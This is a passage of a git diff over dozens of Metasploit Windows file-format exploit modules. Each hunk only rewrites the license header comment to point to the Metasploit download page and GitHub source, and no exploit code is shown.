b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index ae57968653..b21a54913e 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb index c9ed8a0aed..8aa404c07d 100644 --- a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb +++ b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb index 8bcbdbfb4a..882251476b 100644 --- a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb +++ b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb index a378723d1f..9b0a190f33 100644 --- a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb +++ b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb index 503ecb83e2..3062a405b3 100644 --- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb index 479867850a..08aa46e909 100644 --- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb +++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mediajukebox.rb b/modules/exploits/windows/fileformat/mediajukebox.rb index 3a29d6a22b..1bec057c4d 100644 --- a/modules/exploits/windows/fileformat/mediajukebox.rb +++ b/modules/exploits/windows/fileformat/mediajukebox.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/microp_mppl.rb b/modules/exploits/windows/fileformat/microp_mppl.rb index 80b8874077..1f2617ccb8 100644 --- a/modules/exploits/windows/fileformat/microp_mppl.rb +++ b/modules/exploits/windows/fileformat/microp_mppl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb index 3efbb518fc..b674094686 100644 --- a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb +++ b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb index f9ebb0e8b4..4339788388 100644 --- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb +++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb index eda5d26f65..8c991179e0 100644 --- a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb index b3d28425ff..cb8ea233f6 100644 --- a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb index d7b9e9e44f..57a0800da7 100644 --- a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb +++ b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb index 12828f0b0e..688ce1bbae 100644 --- a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index 201fb7c8c1..f6cdcdd69b 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index 3a48ef8724..36da85d5c2 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb index 7b9109197e..76c2abb052 100644 --- a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb index ab3afff027..5c3cdf7797 100644 --- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 839121173b..e2851fde33 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index de73bfe377..900857e9ac 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 1bfbb7e1e9..7fe6687ae8 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb index 7c991cbd22..ce342ad5ac 100644 --- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb +++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index 23ecb1d055..db035efec7 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb index 7b74dfd9cc..1e63b5087e 100644 --- a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb +++ b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 56814762a7..2eb3c6cb10 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/mymp3player_m3u.rb b/modules/exploits/windows/fileformat/mymp3player_m3u.rb index 9a74a439e3..61b1445962 100644 --- a/modules/exploits/windows/fileformat/mymp3player_m3u.rb +++ b/modules/exploits/windows/fileformat/mymp3player_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb index 2768c76674..a70198fbcd 100644 --- a/modules/exploits/windows/fileformat/netop.rb +++ b/modules/exploits/windows/fileformat/netop.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb index fc0f0fb63b..d8613603ea 100644 --- a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb +++ b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/openoffice_ole.rb b/modules/exploits/windows/fileformat/openoffice_ole.rb index 5f911b83af..d91426a056 100644 --- a/modules/exploits/windows/fileformat/openoffice_ole.rb +++ b/modules/exploits/windows/fileformat/openoffice_ole.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 91825c12bb..481009acd4 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb index c4d9a4bb25..13742b5e44 100644 --- a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb +++ b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb index 6898aca784..43b17d92b9 100644 --- a/modules/exploits/windows/fileformat/ovf_format_string.rb +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb index 1185eb5489..ca2bf4e874 100644 --- a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/proshow_load_bof.rb b/modules/exploits/windows/fileformat/proshow_load_bof.rb index 2d5e0db919..6dea4b1527 100644 --- a/modules/exploits/windows/fileformat/proshow_load_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_load_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb index a347d29968..3a8e37b4d9 100644 --- a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb +++ b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index 829b7189f7..99ca786577 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb index f16fe7e4e0..42011dc262 100644 --- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb +++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index f99e7a5a44..5fa8de5903 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb index 0b26fd1c30..86c99ff559 100644 --- a/modules/exploits/windows/fileformat/scadaphone_zip.rb +++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb index f8788b937c..3b28fc4a82 100644 --- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb +++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/somplplayer_m3u.rb b/modules/exploits/windows/fileformat/somplplayer_m3u.rb index 6b7886a4fb..005e2e57f0 100644 --- a/modules/exploits/windows/fileformat/somplplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/somplplayer_m3u.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb index 630d61e841..0f838aa33e 100644 --- a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index f797285de0..2a22a1a628 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb index c69d0738b0..4feeff5117 100644 --- a/modules/exploits/windows/fileformat/tugzip.rb +++ b/modules/exploits/windows/fileformat/tugzip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb index f1211e3b31..cd3962bb09 100644 --- a/modules/exploits/windows/fileformat/ultraiso_ccd.rb +++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ultraiso_cue.rb b/modules/exploits/windows/fileformat/ultraiso_cue.rb index 73031a7e54..27c8e645da 100644 --- a/modules/exploits/windows/fileformat/ultraiso_cue.rb +++ b/modules/exploits/windows/fileformat/ultraiso_cue.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb index 75db25d6e8..fe82cc01f3 100644 --- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb +++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/varicad_dwb.rb b/modules/exploits/windows/fileformat/varicad_dwb.rb index 30e8f91ddf..801ea4bba0 100644 --- a/modules/exploits/windows/fileformat/varicad_dwb.rb +++ b/modules/exploits/windows/fileformat/varicad_dwb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/videolan_tivo.rb b/modules/exploits/windows/fileformat/videolan_tivo.rb index 0b3bd527aa..40234c0e24 100644 --- a/modules/exploits/windows/fileformat/videolan_tivo.rb +++ b/modules/exploits/windows/fileformat/videolan_tivo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb index 44fb7074e5..8e7a4bdd50 100644 --- 